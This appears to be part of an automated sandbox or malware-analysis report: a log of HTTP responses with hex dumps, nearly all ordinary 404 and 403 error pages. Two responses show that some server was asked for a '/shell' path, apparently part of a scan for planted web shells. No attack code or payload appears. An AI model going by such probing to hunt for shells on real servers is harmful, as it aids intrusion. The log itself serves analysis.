Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:14 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 21:38:12 GMTContent-Type: text/htmlContent-Length: 566Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Mar 2022 13:38:00 GMTServer: ApacheAccept-Ranges: bytesConnection: closeContent-Type: text/htmlData Raw: 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 36 37 45 38 45 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 62 61 73 65 2d 63 6f 6c 6f 72 3a 20 23 30 30 35 42 37 30 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 61 72 72 6f 77 2d 63 6f 6c 6f 72 3a 20 23 46 33 39 36 30 42 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 44 61 72 6b 53 68 61 64 6f 77 2d 43 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 61 20 7b 20 63 6f 6c 6f 72 3a 23 30 32 31 66 32 35 3b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 0a 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 42 39 38 30 32 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 73 79 73 5f 63 70 61 6e 65 6c 2f 69 6d 61 67 65 73 2f 62 6f 74 74 6f 6d 62 6f 64 79 2e 6a 70 67 29 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 72 65 70 65 61 74 2d 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 3a 35 70 78 20 30 20 31 30 70 78 20 31 35 70 78 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 23 62 6f 64 79 2d 63 6f 6e 74 65 6e 74 20 70 20 7b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 35 70 78 3b 0a 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:38:19 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:20 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:37:26 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.9.10Date: Wed, 09 Mar 2022 13:08:18 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 39 2e 31 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.9.10</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:26 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:26 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:38:26 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:27 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:38:31 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Mar 2022 13:38:37 GMTServer: ApacheVary: Accept-EncodingContent-Length: 203Keep-Alive: timeout=15, max=300Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Mar 2022 13:38:38 GMTServer: ApacheContent-Length: 203Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.16.1Date: Wed, 09 Mar 2022 13:38:40 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.16.1</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 21:38:55 GMTContent-Type: text/htmlContent-Length: 566Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:38:43 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx-rcDate: Wed, 09 Mar 2022 13:38:43 GMTContent-Type: text/htmlContent-Length: 1091Connection: keep-aliveVary: Accept-EncodingETag: "60d95160-443"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 67 6f 42 61 63 6b 28 29 20 7b 20 77 69 6e 64 6f 77 2e 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 29 20 7d 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 7d 2e 77 72 61 70 7b 20 77 69 64 74 68 3a 31 30 30 30 70 78 3b 20 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 7d 2e 6c 6f 67 6f 7b 20 77 69 64 74 68 3a 34 33 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 32 35 25 3b 20 6c 65 66 74 3a 33 35 25 3b 7d 68 31 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 70 78 3b 7d 70 20 61 7b 20 63 6f 6c 6f 72 3a 23 65 65 65 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 20 70 61 64 64 69 6e 67 3a 35 70 78 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 33 33 36 36 3b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 20 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 33 65 6d 3b 20 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 33 65 6d 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 33 65 6d 3b 7d 70 20 61 3a 68 6f 